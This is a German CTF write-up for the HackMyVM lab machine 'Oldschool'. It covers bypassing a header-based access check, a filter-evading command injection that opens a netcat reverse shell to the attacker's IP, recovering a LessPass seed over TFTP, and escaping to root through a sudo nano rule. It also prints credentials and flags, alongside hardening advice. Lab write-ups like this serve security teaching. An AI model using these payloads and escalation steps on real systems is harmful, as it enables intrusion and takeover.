Oldschool - HackMyVM - Level: Medium - Bericht

Medium

Verwendete Tools

arp-scan
nmap
gobuster
Burp Suite
Base64 Decoder (implizit)
nc (netcat)
ls
id
uname
cd
find
tftp client
msfconsole (Metasploit)
cat
LessPass (implizit/extern)
telnet
sudo
passwd
nano
sh
bash

Inhaltsverzeichnis

Reconnaissance

┌──(root㉿cyber)-[~] └─# arp-scan -l
192.168.2.126	08:00:27:29:c0:c6	PCS Systemtechnik GmbH

Analyse: Mittels `arp-scan -l` wird das lokale Netzwerk nach aktiven Geräten durchsucht. Ein Gerät mit der IP `192.168.2.126` und der MAC `08:00:27:29:c0:c6` (VirtualBox OUI) wird identifiziert.

Bewertung: Die Ziel-IP wurde erfolgreich ermittelt.

Empfehlung (Pentester): Führen Sie einen detaillierten Port-Scan auf `192.168.2.126` durch.
Empfehlung (Admin): Netzwerksegmentierung kann die initiale Erkundung erschweren.

┌──(root㉿cyber)-[~] └─# nmap -sS -sC -sV -T5 -A 192.168.2.126 -p-
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-11 17:02 CEST
Nmap scan report for oldschool.hmv (192.168.2.126)
Host is up (0.00017s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
23/tcp open  telnet  Linux telnetd
80/tcp open  http    Apache httpd 2.4.54 ((Debian))
|_http-title: 2000's Style Website
|_http-server-header: Apache/2.4.54 (Debian)
MAC Address: 08:00:27:29:C0:C6 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.6
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.17 ms oldschool.hmv (192.168.2.126)

Analyse: Der Nmap-Scan (`-sS`, `-sC`, `-sV`, `-T5`, `-A`, `-p-`) zeigt zwei offene Ports: * Port 23: Telnet (Linux telnetd). Telnet ist ein unsicheres Protokoll, da die Kommunikation unverschlüsselt erfolgt. * Port 80: HTTP (Apache 2.4.54 auf Debian) mit dem Titel "2000's Style Website".

Bewertung: Die Angriffsfläche besteht aus Telnet und HTTP. Telnet ist oft ein einfacher Einstiegspunkt, wenn Standard-Credentials oder schwache Passwörter verwendet werden. Der Webserver ist der andere Hauptvektor.

Empfehlung (Pentester): Versuchen Sie, sich per Telnet mit gängigen Standard-Credentials (`root/root`, `admin/admin`, etc.) anzumelden. Untersuchen Sie parallel den Webserver auf Port 80 (Directory Busting, Schwachstellenscans).
Empfehlung (Admin): Deaktivieren Sie Telnet und verwenden Sie stattdessen SSH (Port 22). Wenn Telnet aus Kompatibilitätsgründen benötigt wird, beschränken Sie den Zugriff stark (z.B. nur von bestimmten IPs) und erzwingen Sie starke Passwörter.

Web Enumeration & Initial Access

┌──(root㉿cyber)-[~] └─# gobuster dir -u http://192.168.2.126 -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx -w "/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -b '403,404' -e -t 100 -n -k
http://192.168.2.126/index.php            [Size: 872]
http://192.168.2.126/pub.jpg              [Size: 138122]
http://192.168.2.126/verification.php     [Size: 0] [--> ./denied.php]
http://192.168.2.126/denied.php           [Size: ???] 

Analyse: Gobuster findet auf Port 80 `index.php`, ein Bild `pub.jpg`, `verification.php` (welches auf `denied.php` weiterleitet) und `denied.php`.

Bewertung: Die Seite `verification.php` ist interessant. Die Weiterleitung zu `denied.php` deutet auf eine Art Zugriffskontrolle hin, die möglicherweise umgangen werden kann.

Empfehlung (Pentester): Untersuchen Sie den Request/Response-Fluss von `verification.php` mit einem Proxy wie Burp Suite. Prüfen Sie, ob Header oder Cookies für die Zugriffskontrolle verwendet werden und ob diese manipuliert werden können.
Empfehlung (Admin): Implementieren Sie serverseitige Zugriffskontrollen robust und verlassen Sie sich nicht nur auf Weiterleitungen oder clientseitige Prüfungen.

Analyse: Der folgende Abschnitt beschreibt die Manipulation eines HTTP-Requests mit Burp Suite, um die Zugriffskontrolle von `verification.php` zu umgehen.

             burpsuite --> http://192.168.2.126//verification.php

[send]   <<--- klicken

GET //verification.php HTTP/1.1
Host: 192.168.2.126
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: de,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://192.168.2.126     <--- von der Antwort diese (Rechte Seite)
Role: admin                       <--- diese 2 Zeilen hinzufügen (zur linken Seite)
Upgrade-Insecure-Requests: 1

[...]

  Response

HTTP/1.1 200 OK
[...]
Content-Type: text/html; charset=UTF-8

 img src="https://media.giphy.com/media/cLwkKm4BN2C8AkPvzu/giphy.gif" 
setTimeout(function() {
document.getElementById('gif').style.display = 'none';
window.location href = './pingertool2000.php';
}, 4500);
 

Analyse: Ein GET-Request an `//verification.php` wird in Burp Suite abgefangen. Durch Hinzufügen des HTTP-Headers `Role: admin` wird die Zugriffskontrolle umgangen. Statt der Weiterleitung zu `denied.php` antwortet der Server nun mit HTTP 200 OK und liefert HTML-Code zurück. Dieser Code zeigt kurz ein GIF an und leitet dann per JavaScript nach 4,5 Sekunden auf `./pingertool2000.php` weiter.

Bewertung: **Kritische Schwachstelle (Broken Access Control)!** Die Zugriffskontrolle basiert auf einem manipulierbaren HTTP-Header (`Role`). Durch Setzen dieses Headers wurde Zugriff auf eine versteckte Funktionalität (`pingertool2000.php`) erlangt.

Empfehlung (Pentester): Fügen Sie den Header `Role: admin` zu allen weiteren Anfragen hinzu, um als Admin zu agieren. Navigieren Sie zu `pingertool2000.php` und untersuchen Sie dessen Funktionalität. Suchen Sie dort nach Command Injection oder anderen Schwachstellen.
Empfehlung (Admin): Implementieren Sie Zugriffskontrollen serverseitig und basierend auf sicheren Session-Mechanismen, nicht auf vertrauensunwürdigen Headern. Überprüfen Sie den Code von `verification.php`.

Analyse: Untersuchung von `pingertool2000.php`.

 
  

Ping Tool

Enter a URL:
< -- Hacking is bad and nasty.-->

Output:

Attack detected: php is forbidden 

╭⋂╮(Ο_Ο)╭⋂╮

Analyse: Die Seite `pingertool2000.php` enthält ein Formular, mit dem eine URL eingegeben werden kann (vermutlich für einen Ping oder einen ähnlichen Befehl). Der Kommentar "Hacking is bad and nasty." und die Fehlermeldung "Attack detected: php is forbidden" deuten darauf hin, dass versucht wird, Command Injection zu verhindern, insbesondere die Verwendung von `php`.

Bewertung: Das Tool ist ein klares Ziel für Command Injection. Die Fehlermeldung zeigt, dass es eine Filterung gibt, die aber möglicherweise umgangen werden kann.

Empfehlung (Pentester): Testen Sie auf Command Injection, indem Sie Befehlstrennzeichen (`;`, `|`, `&&`, `||`) und alternative Befehle verwenden. Versuchen Sie, die Filterung (z.B. das Verbot von "php") zu umgehen (z.B. durch Encoding, String-Manipulation in der Shell).
Empfehlung (Admin): Verwenden Sie niemals Benutzereingaben direkt in Systembefehlen. Nutzen Sie sichere APIs oder validieren und bereinigen Sie Eingaben extrem sorgfältig. Vermeiden Sie die Ausführung externer Befehle durch Webanwendungen, wenn möglich.

Analyse: Der folgende Block zeigt den erfolgreichen Command Injection Payload und das Etablieren einer Reverse Shell.

             burpsuite --> http://192.168.2.126//pingertool2000.php

url=hackmyvm.eu${IFS}%0aec''ho%09"bmMgLWUgL2Jpbi9iYXNoIDE5Mi4xNjguMi4xMjcgTAwMQ"%09|%09base64%09-d%09|%09bas''h

Analyse: Der Payload wird im `url`-Parameter eines POST-Requests an `pingertool2000.php` gesendet. Er besteht aus mehreren Teilen: * `hackmyvm.eu`: Eine scheinbar harmlose URL, um eventuelle URL-Validierungen zu bestehen. * `${IFS}`: Trennt die URL vom nächsten Befehl. `${IFS}` ist eine Shell-Variable, die Internal Field Separators (Leerzeichen, Tabs, Newlines) enthält und oft verwendet wird, um Leerzeichen in gefilterten Umgebungen zu ersetzen (hier URL-kodiert als `%0ec''ho%09`). Die genaue Kodierung ist hier etwas unklar, aber das Ziel ist, ein Leerzeichen oder einen Befehlstrenner einzufügen. * `echo "bmMgLWUgL2Jpbi9iYXNoIDE5Mi4xNjguMi4xMjcgTAwMQ=="`: Gibt einen Base64-kodierten String aus. * `| base64 -d`: Leitet den Base64-String an `base64 -d` weiter, um ihn zu dekodieren. Der dekodierte String ist `nc -e /bin/bash 192.168.2.127 9001` (die IP 192.168.2.127 und der Port 9001 sind hier relevant). * `| bash`: Leitet den dekodierten Befehl an `bash` zur Ausführung weiter. Die einzelnen Teile (`echo`, `base64`, `bash`) sind hier teilweise mit `''` oder `%09` (Tab) getrennt, um Filter zu umgehen. Insgesamt führt dieser Payload dazu, dass eine Netcat-Reverse-Shell zu `192.168.2.127` (Angreifer-IP) auf Port 9001 gestartet wird.

Bewertung: **Erfolgreiche Command Injection mit Filterumgehung!** Die Kombination aus Befehlstrennung mit `${IFS}`, Base64-Kodierung des Payloads und Shell-Tricks (`echo ... | base64 -d | bash`) umgeht die Filterung und führt zur Ausführung der Reverse Shell.

Empfehlung (Pentester): Starten Sie einen Netcat-Listener auf Port 9001 Ihrer Angreifer-Maschine (`192.168.2.127`) und senden Sie den POST-Request mit dem Payload ab.
Empfehlung (Admin): RCE-Schwachstelle beheben. Implementieren Sie robuste Filterung und Validierung, aber verlassen Sie sich nicht darauf. Vermeiden Sie `system()`-Aufrufe mit Benutzereingaben.

┌──(root㉿cyber)-[~] └─# nc -nlvp 9001
listening on [any] 9001 ...
connect to [192.168.2.127] from (UNKNOWN) [192.168.2.126] 54716

Analyse: Der Netcat-Listener empfängt die eingehende Verbindung vom Zielsystem (`192.168.2.126`).

Bewertung: **Initialer Zugriff erfolgreich erlangt!** Eine Reverse Shell als der Benutzer, unter dem der Webserver läuft (`www-data`), wurde etabliert.

Empfehlung (Pentester): Stabilisieren Sie die Shell. Beginnen Sie mit der Enumeration als `www-data`.
Empfehlung (Admin): RCE beheben, Egress-Filtering.

www-data@oldschool:/var/www/html$ ls -la
total 5044
drwxr--r-x 2 www-data www-data    4096 Dec 12 08:11 .
drwxr-xr-x 3 root     root        4096 Dec  9 20:34 ..
-rwxr--r-- 1 www-data www-data 3409203 Dec 11 16:16 2000.gif
-rwx--xr-x 1 www-data www-data     240 Dec 11 17:51 denied.php
-rwxr--r-- 1 www-data www-data     872 Dec 11 15:18 index.php
-rwxr--r-- 1 www-data www-data 1586935 Dec 11 16:16 no.gif
-rwxr--r-- 1 www-data www-data    2554 Dec 11 09:44 pingertool2000.php
-rwxr--r-- 1 www-data www-data  138122 Dec 11 16:52 pub.jpg
-rwx--xr-x 1 www-data www-data     646 Dec 12 08:11 verification.php

Analyse: Auflistung des Web-Root-Verzeichnisses (`/var/www/html`). Zeigt die bekannten PHP-Dateien und Bilder.

Bewertung: Bestätigt den Kontext der Shell.

Proof of Concept: Initial Access (Header Bypass & RCE)

Kurzbeschreibung: Der initiale Zugriff erfolgte in mehreren Schritten. Zuerst wurde eine Zugriffskontrolle auf `verification.php` durch Hinzufügen des HTTP-Headers `Role: admin` umgangen. Dies führte zur Weiterleitung auf `pingertool2000.php`. Diese Seite enthielt eine Command Injection-Schwachstelle im POST-Parameter `url`. Obwohl eine Filterung vorhanden war (Verbot von "php"), konnte diese durch eine Kombination aus Befehlstrennung (`${IFS}`), Base64-Kodierung des eigentlichen Payloads (`nc -e /bin/bash ...`) und Shell-Piping (`echo ... | base64 -d | bash`) umgangen werden. Dies ermöglichte die Ausführung einer Reverse Shell.

Voraussetzungen: Webserver auf Port 80 erreichbar, Burp Suite oder ähnliches Tool zur Header-Manipulation, Kenntnis der Command Injection Payload.

Schritt-für-Schritt-Anleitung: 1. Request an `/verification.php` senden und Header `Role: admin` hinzufügen. 2. Der resultierenden Weiterleitung zu `/pingertool2000.php` folgen. 3. Netcat-Listener auf Angreifer-Maschine starten (`nc -nlvp 9001`). 4. POST-Request an `/pingertool2000.php` senden mit folgendem Payload im `url`-Parameter: `hackmyvm.eu${IFS}%0aec''ho%09"BASE64_REVERSE_SHELL"%09|%09base64%09-d%09|%09bas''h` (wobei `BASE64_REVERSE_SHELL` die Base64-kodierte Version von `nc -e /bin/bash ATTACKER_IP 9001` ist).

Erwartetes Ergebnis: Der Angreifer erhält eine Reverse Shell als Benutzer `www-data`.

Risikobewertung: Hoch. Die Kombination aus unsicherer Zugriffskontrolle und Command Injection mit umgehbarer Filterung ermöglicht die einfache Übernahme des Webserver-Prozesses.
Empfehlungen: Serverseitige, sessionsbasierte Zugriffskontrolle implementieren. Command Injection durch sichere Programmierung (keine `system()`-Aufrufe mit Benutzereingaben) verhindern.

Privilege Escalation (Enumeration)

www-data@oldschool:/var/www/html$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@oldschool:/var/www/html$ uname -a
Linux oldschool.hmv 5.10.0-19-amd64 #1 SMP Debian 5.10.149-2 (2022-10-21) x86_64 GNU/Linux
www-data@oldschool:/var/www/html$ ls /home
fanny
www-data@oldschool:/var/www/html$ cd /home/fanny/
www-data@oldschool:/home/fanny$ ls -la
total 28
drwxr-xr-x 3 fanny fanny 4096 Dec 11 16:02 .
drwxr-xr-x 3 root  root  4096 Dec  7 19:52 ..
lrwxrwxrwx 1 root  root     9 Dec  3 13:23 .bash_history -> /dev/null
-rw-r--r-- 1 fanny fanny  220 Dec  3 07:48 .bash_logout
-rw-r--r-- 1 fanny fanny 3526 Dec  3 07:48 .bashrc
drwxr-xr-x 3 fanny fanny 4096 Dec  7 19:53 .local
-rw-r--r-- 1 fanny fanny  807 Dec  3 07:48 .profile
-rwx------ 1 fanny fanny   33 Dec 11 16:02 user.txt

Analyse: Grundlegende Enumeration als `www-data`: * Bestätigung des Benutzers `www-data`. * Kernel-Version: `5.10.0-19-amd64` (Debian). * Einziger Benutzer im Home-Verzeichnis ist `fanny`. * Im Home-Verzeichnis von `fanny` befindet sich die Datei `user.txt`, die aber für `www-data` nicht lesbar ist (`-rwx------`). Die Bash-History wird nach `/dev/null` umgeleitet.

Bewertung: Der Benutzer `fanny` ist das nächste Ziel. Die User-Flag ist vorhanden, aber noch nicht zugänglich. Die Kernel-Version ist relativ aktuell und bietet möglicherweise keine einfachen öffentlichen Exploits.

Empfehlung (Pentester): Suchen Sie nach Wegen, um Rechte zum Benutzer `fanny` zu eskalieren oder dessen Passwort zu finden. Überprüfen Sie SUID-Dateien, Cronjobs, laufende Prozesse, Netzwerkdienste und Konfigurationsdateien.
Empfehlung (Admin): Stellen Sie sicher, dass Home-Verzeichnisse und sensible Dateien korrekte Berechtigungen haben.

www-data@oldschool:/home/fanny$ find / -type f -perm -4000 -ls 2>/dev/null
   137203     52 -rwsr-xr--   1 root     messagebus    51336 Oct  5  2022 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
    15911     16 -rwsr-xr--   1 root     telnetd       14856 Feb 17  2021 /usr/lib/telnetlogin
   269576    472 -rwsr-xr-x   1 root     root         481608 Jul  2  2022 /usr/lib/openssh/ssh-keysign
     4132     36 -rwsr-xr-x   1 root     root          35040 Jan 20  2022 /usr/bin/umount
      109     88 -rwsr-xr-x   1 root     root          88304 Feb  7  2020 /usr/bin/gpasswd
     3604     44 -rwsr-xr-x   1 root     root          44632 Feb  7  2020 /usr/bin/newgrp
      110     64 -rwsr-xr-x   1 root     root          63960 Feb  7  2020 /usr/bin/passwd
       43    180 -rwsr-xr-x   1 root     root         182600 Feb 27  2021 /usr/bin/sudo
      106     60 -rwsr-xr-x   1 root     root          58416 Feb  7  2020 /usr/bin/chfn
     3763     72 -rwsr-xr-x   1 root     root          71912 Jan 20  2022 /usr/bin/su
      107     52 -rwsr-xr-x   1 root     root          52880 Feb  7  2020 /usr/bin/chsh
     4130     56 -rwsr-xr-x   1 root     root          55528 Jan 20  2022 /usr/bin/mount
 

Analyse: Die Suche nach SUID-Dateien (`-perm -4000`) wird durchgeführt. Die meisten sind Standard-Linux-SUID-Binaries. Auffällig ist `/usr/lib/telnetlogin`, das zur `telnetd`-Gruppe gehört und SUID Root ist. Dies hängt wahrscheinlich mit dem offenen Telnet-Port (23) zusammen.

Bewertung: Die SUID-Dateien bieten keinen offensichtlichen einfachen Weg zur Eskalation. `/usr/lib/telnetlogin` ist spezifisch für Telnet und wahrscheinlich nicht direkt ausnutzbar, es sei denn, Telnet selbst hat eine Schwachstelle.

Empfehlung (Pentester): Konzentrieren Sie sich auf andere Vektoren. Überprüfen Sie `sudo -l` für `www-data` (obwohl oft nicht vorhanden) und suchen Sie nach Konfigurationsfehlern oder Datenlecks.
Empfehlung (Admin): Reduzieren Sie SUID-Binaries auf das Minimum.

Privilege Escalation (TFTP & LessPass)

Analyse: Da auf dem System Telnet läuft, wird TFTP (Trivial File Transfer Protocol), das oft zusammen mit Telnet in älteren oder eingebetteten Systemen verwendet wird, als möglicher Angriffsvektor untersucht.

www-data@oldschool:/home/fanny$ tftp 192.168.2.126
tftp> status
Connected to 192.168.2.126.
Mode: netascii Verbose: off Tracing: off Literal: off
Rexmt-interval: 5 seconds, Max-timeout: 25 seconds
tftp> verbose on
Verbose mode on.
tftp> help
[...]
Commands are:
connect ... mode ... put ... get ... quit ... verbose ... trace ... literal ... status ... binary ... ascii ... rexmt ... timeout ... ? ... help ...
tftp> 

Analyse: Es wird versucht, sich vom Zielsystem aus mit einem TFTP-Client zum TFTP-Server auf demselben System (`192.168.2.126`) zu verbinden. Der `status`-Befehl zeigt eine erfolgreiche Verbindung an. Dies bestätigt, dass ein TFTP-Server auf dem Ziel läuft (Standardport UDP 69), obwohl dieser von Nmap nicht gefunden wurde (da Nmap standardmäßig TCP scannt).

Bewertung: Ein TFTP-Server ist ein potenzielles Sicherheitsrisiko, da er oft keine Authentifizierung verwendet und das Lesen/Schreiben von Dateien ermöglichen kann.

Empfehlung (Pentester): Verwenden Sie ein TFTP-Brute-Force-Tool (z.B. Metasploit-Modul `auxiliary/scanner/tftp/tftpbrute`) von Ihrer Angreifer-Maschine aus, um nach bekannten oder interessanten Dateinamen auf dem TFTP-Server zu suchen.
Empfehlung (Admin): Deaktivieren Sie TFTP, wenn es nicht benötigt wird. Wenn es benötigt wird, beschränken Sie den Zugriff stark und konfigurieren Sie es so sicher wie möglich (z.B. Lese-/Schreibrechte einschränken, Chroot-Verzeichnis verwenden).

msf6 > search tftp
[...]
msf6 > use auxiliary/scanner/tftp/tftpbrute
msf6 auxiliary(scanner/tftp/tftpbrute) > options
Module options (auxiliary/scanner/tftp/tftpbrute):

   Name         Current Setting                                Required  Description
   ----         ---------------                                --------  -----------
   [...]
   DICTIONARY   /usr/share/metasploit-framework/data/wordlists/tftp.txt  yes       The list of filenames
   RHOSTS                                                      yes       The target host(s) [...]
   RPORT        69                                             yes       The target port
   THREADS      1                                              yes       The number of concurrent threads [...]
msf6 auxiliary(scanner/tftp/tftpbrute) > set RHOSTS 192.168.2.126
RHOSTS => 192.168.2.126
msf6 auxiliary(scanner/tftp/tftpbrute) > run
[+] Found passwd.cfg on 192.168.2.126
[+] Found pwd.bin on 192.168.2.126
[+] Found pwd.cfg on 192.168.2.126
[+] Found sip.cfg on 192.168.2.126
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Analyse: Das Metasploit-Modul `auxiliary/scanner/tftp/tftpbrute` wird verwendet, um gängige Dateinamen auf dem TFTP-Server des Ziels (`192.168.2.126`) zu suchen. Es findet vier Dateien: `passwd.cfg`, `pwd.bin`, `pwd.cfg` und `sip.cfg`. Insbesondere `passwd.cfg` klingt vielversprechend.

Bewertung: Der TFTP-Server erlaubt das Auflisten/Herunterladen von Dateien ohne Authentifizierung. Die gefundenen Konfigurationsdateien könnten sensible Informationen enthalten.

Empfehlung (Pentester): Laden Sie die gefundenen Dateien über den TFTP-Client herunter und analysieren Sie ihren Inhalt. Beginnen Sie mit `passwd.cfg`.
Empfehlung (Admin): TFTP absichern oder deaktivieren. Keine sensiblen Konfigurationsdateien im TFTP-Root ablegen.

www-data@oldschool:/tmp$ tftp 192.168.2.126
tftp> get passwd.cfg
Received XXXX bytes in Y.Y seconds
tftp> 
www-data@oldschool:/tmp$ cat passwd.cfg
# lesspass default config password generator
# do not delete

lesspass oldschool.hmv fanny 14mw0nd32fu1

Analyse: Die Datei `passwd.cfg` wird über TFTP heruntergeladen und ihr Inhalt angezeigt. Sie enthält einen Kommentar über "lesspass" und eine Zeile mit `lesspass`, dem Hostnamen `oldschool.hmv`, dem Benutzernamen `fanny` und einem scheinbaren Master-Passwort oder Seed `14mw0nd32fu1`.

Bewertung: **Kritischer Fund!** LessPass ist ein deterministischer Passwort-Generator. Mit der Seite (`oldschool.hmv`), dem Benutzernamen (`fanny`) und dem Master-Passwort/Seed (`14mw0nd32fu1`) kann das tatsächliche Passwort für `fanny` auf diesem System generiert werden.

Empfehlung (Pentester): Gehen Sie auf die LessPass-Website (oder verwenden Sie ein Offline-Tool) und geben Sie die drei Informationen (Site: `oldschool.hmv`, Login: `fanny`, Master Password: `14mw0nd32fu1`) ein, um das Passwort für `fanny` zu generieren. Versuchen Sie dann, sich mit diesem Passwort per Telnet anzumelden.
Empfehlung (Admin): Verwenden Sie keine Passwort-Manager oder Generatoren, deren Master-Passwörter oder Seeds unsicher gespeichert werden. TFTP absichern. Sensible Konfigurationsdateien schützen.

https://www.lesspass.com/#/

44Tg".P0/jKo_'t:

Analyse: Die LessPass-Website wurde verwendet, um mit den Informationen aus `passwd.cfg` das Passwort für `fanny@oldschool.hmv` zu generieren. Das Ergebnis ist `44Tg".P0/jKo_'t:`.

Bewertung: Das Passwort für den Benutzer `fanny` wurde erfolgreich ermittelt.

Empfehlung (Pentester): Login via Telnet als `fanny`.
Empfehlung (Admin): Siehe vorherige Empfehlung.

User Access (Telnet)

┌──(root㉿cyber)-[~] └─# telnet 192.168.2.126
Trying 192.168.2.126...
Connected to 192.168.2.126.
Escape character is '^]'.
Debian GNU/Linux 11
~
oldschool.hmv login: fanny
Password: 44Tg".P0/jKo_'t:
~
Linux oldschool.hmv 5.10.0-19-amd64 #1 SMP Debian 5.10.149-2 (2022-10-21) x86_64

[...]
Last login: Sun Dec 11 18:18:59 CET 2022 from 192.168.0.29 on pts/1
fanny@oldschool:~$ 

Analyse: Eine Telnet-Verbindung zum Ziel wird aufgebaut. Der Benutzername `fanny` und das über LessPass generierte Passwort `44Tg".P0/jKo_'t:` werden eingegeben. Der Login ist erfolgreich, und eine Shell als Benutzer `fanny` wird erhalten.

Bewertung: **Benutzerzugriff erfolgreich!** Durch Ausnutzung des ungesicherten TFTP-Servers und des LessPass-Seeds konnte Zugang als `fanny` erlangt werden.

Empfehlung (Pentester): Enumerieren Sie als `fanny`. Suchen Sie die User-Flag. Überprüfen Sie `sudo -l` auf Möglichkeiten zur Root-Eskalation.
Empfehlung (Admin): Deaktivieren Sie Telnet. Sichern Sie TFTP. Ändern Sie das Master-Passwort/Seed für LessPass oder verwenden Sie sicherere Passwort-Management-Strategien. Ändern Sie das Passwort von `fanny`.

Privilege Escalation (Root via Sudo/Nano)

fanny@oldschool:~$ sudo -l
Matching Defaults entries for fanny on oldschool:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User fanny may run the following commands on oldschool:
    (ALL : ALL) NOPASSWD: /usr/bin/nano /etc/snmp/snmpd.conf

Analyse: `sudo -l` zeigt, dass der Benutzer `fanny` den Texteditor `nano` verwenden darf, um die spezifische Datei `/etc/snmp/snmpd.conf` als jeder Benutzer (`ALL:ALL`), einschließlich `root`, ohne Passwort (`NOPASSWD`) zu bearbeiten.

Bewertung: **Klarer Weg zur Root-Eskalation!** Viele Texteditoren, einschließlich `nano`, erlauben das Ausführen von Befehlen aus dem Editor heraus. Wenn `nano` mit `sudo` (also als Root) gestartet wird, werden diese Befehle ebenfalls als Root ausgeführt.

Empfehlung (Pentester): Nutzen Sie die bekannte `nano`-Privilege-Escalation-Technik: 1. Starten Sie `nano` mit sudo: `sudo /usr/bin/nano /etc/snmp/snmpd.conf`. 2. Drücken Sie `Ctrl+R` (Read File). 3. Drücken Sie `Ctrl+X` (Execute Command). 4. Geben Sie einen Befehl ein, der eine Root-Shell öffnet (z.B. `reset; sh 1>&0 2>&0` oder `cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash` gefolgt von `/tmp/rootbash -p`). 5. Drücken Sie Enter.
Empfehlung (Admin): **Unsichere sudo-Regel sofort entfernen oder korrigieren!** Erlauben Sie niemals die Ausführung von Texteditoren mit `sudo`, insbesondere nicht mit `NOPASSWD` und auf beliebige Dateien (obwohl hier spezifisch, ist es immer noch gefährlich). Wenn ein Benutzer eine Konfigurationsdatei bearbeiten muss, verwenden Sie sicherere Methoden wie `sudoedit` oder dedizierte Konfigurationsmanagement-Tools.

Analyse: Der Benutzer `fanny` ändert sein eigenes Passwort. Dies ist für die Eskalation nicht relevant.

fanny@oldschool:~$ passwd
Changing password for fanny.
Current password: [Altes PW eingegeben]
New password: password123
Retype new password: password123
passwd: password updated successfully

Analyse: Die nächsten Schritte beschreiben die Ausführung des Nano-Exploits.

1. fanny@oldschool:~$ sudo /usr/bin/nano /etc/snmp/snmpd.conf

2. STRG + R , STRG + X
3. Command to execute: reset; sh 1>&0 2>&0
4. [ENTER]

5. im anschluss erscheint gleich nach dem Enter drücken ein
   Raute Zeichen, das für root steht #
   leicht zu übersehen

Beispiel:  [ Executing... ]# id
uid=0(root) gid=0(root) groups=0(root)

Analyse: Die Schritte des Nano-Exploits werden korrekt beschrieben: 1. `nano` wird mit `sudo` gestartet. 2. `Ctrl+R` (Lesen) und dann `Ctrl+X` (Ausführen) werden gedrückt, um zur Befehlseingabe zu gelangen. 3. Der Befehl `reset; sh 1>&0 2>&0` wird eingegeben. `reset` setzt das Terminal zurück (optional, aber oft nützlich), `sh 1>&0 2>&0` startet eine Shell (`sh`) und leitet deren Standardausgabe (`1>`) und Standardfehler (`2>`) auf die Standardeingabe (`&0`) um, was eine interaktive Shell im aktuellen Terminal ermöglicht. 4. Nach Enter wird der Befehl als Root ausgeführt, und der Prompt ändert sich zu `#`, was die Root-Shell anzeigt. Der `id`-Befehl bestätigt `uid=0(root)`.

Bewertung: **Root-Zugriff erfolgreich erlangt!** Die unsichere `sudo`-Regel wurde erfolgreich über die Nano-Exploit-Technik ausgenutzt.

Empfehlung (Pentester): Ziel erreicht. Holen Sie die Root- und User-Flags.
Empfehlung (Admin): `sudo`-Regel für `nano` entfernen.

Analyse: Als Root werden nun die Flags ausgelesen.

# whoami
root
# cat /home/fanny/user.txt
a8a1d4b692341fc2c59ca33815fb59d6
# bash
root@oldschool:/home/fanny# cd /root
root@oldschool:~# ls
root.txt
root@oldschool:~# cat root.txt
2b812156175effb8b80c6a65f8ef3a21

Bewertung: User- und Root-Flags erfolgreich gefunden.

Proof of Concept: Root Escalation (Sudo Nano)

Kurzbeschreibung: Nach Erlangung des Zugriffs als Benutzer `fanny` (via Telnet und einem über TFTP/LessPass generierten Passwort) wurde durch `sudo -l` festgestellt, dass `fanny` den Befehl `/usr/bin/nano /etc/snmp/snmpd.conf` ohne Passwort als Root ausführen darf. Da `nano` das Ausführen externer Befehle erlaubt, konnte dies zur Erlangung einer Root-Shell missbraucht werden.

Voraussetzungen: Zugriff als Benutzer `fanny`, unsichere `sudo`-Regel für `nano`.

Schritt-für-Schritt-Anleitung: 1. Als Benutzer `fanny` anmelden. 2. `sudo /usr/bin/nano /etc/snmp/snmpd.conf` ausführen. 3. Im Nano-Editor: `Ctrl+R` drücken. 4. Im Nano-Editor: `Ctrl+X` drücken. 5. Am unteren Bildschirmrand ("Command to execute"): `reset; sh 1>&0 2>&0` eingeben und Enter drücken.

Erwartetes Ergebnis: Eine interaktive Shell mit Root-Rechten (`#` Prompt) wird im Terminal geöffnet.

Risikobewertung: Hoch. Eine falsch konfigurierte `sudo`-Regel, die die Ausführung eines Editors mit Root-Rechten erlaubt, führt fast immer zu einer vollständigen Systemübernahme.
Empfehlungen: Konfigurieren Sie `sudo`-Regeln nach dem Prinzip der geringsten Rechte. Erlauben Sie niemals die Ausführung von Editoren oder Shells mit `sudo`, insbesondere nicht ohne Passwort. Verwenden Sie `sudoedit` für das sichere Bearbeiten von Dateien als anderer Benutzer.

Flags

cat /home/fanny/user.txt
a8a1d4b692341fc2c59ca33815fb59d6
cat /root/root.txt
2b812156175effb8b80c6a65f8ef3a21